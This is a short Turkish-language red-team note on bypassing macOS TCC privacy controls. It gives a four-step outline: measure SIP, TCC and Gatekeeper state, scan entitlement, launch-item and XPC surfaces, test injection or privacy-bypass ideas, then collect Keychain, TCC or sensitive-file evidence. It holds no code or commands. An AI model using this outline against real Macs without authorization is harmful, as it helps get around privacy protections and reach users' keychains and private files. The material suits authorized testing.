macOS TCC Bypasses

macos bypass

macOS TCC Bypasses macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla. TCC veritabanı ve TCC’li uygulama impersonation ana hedeftir.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS TCC Bypasses için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS TCC Bypasses macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.
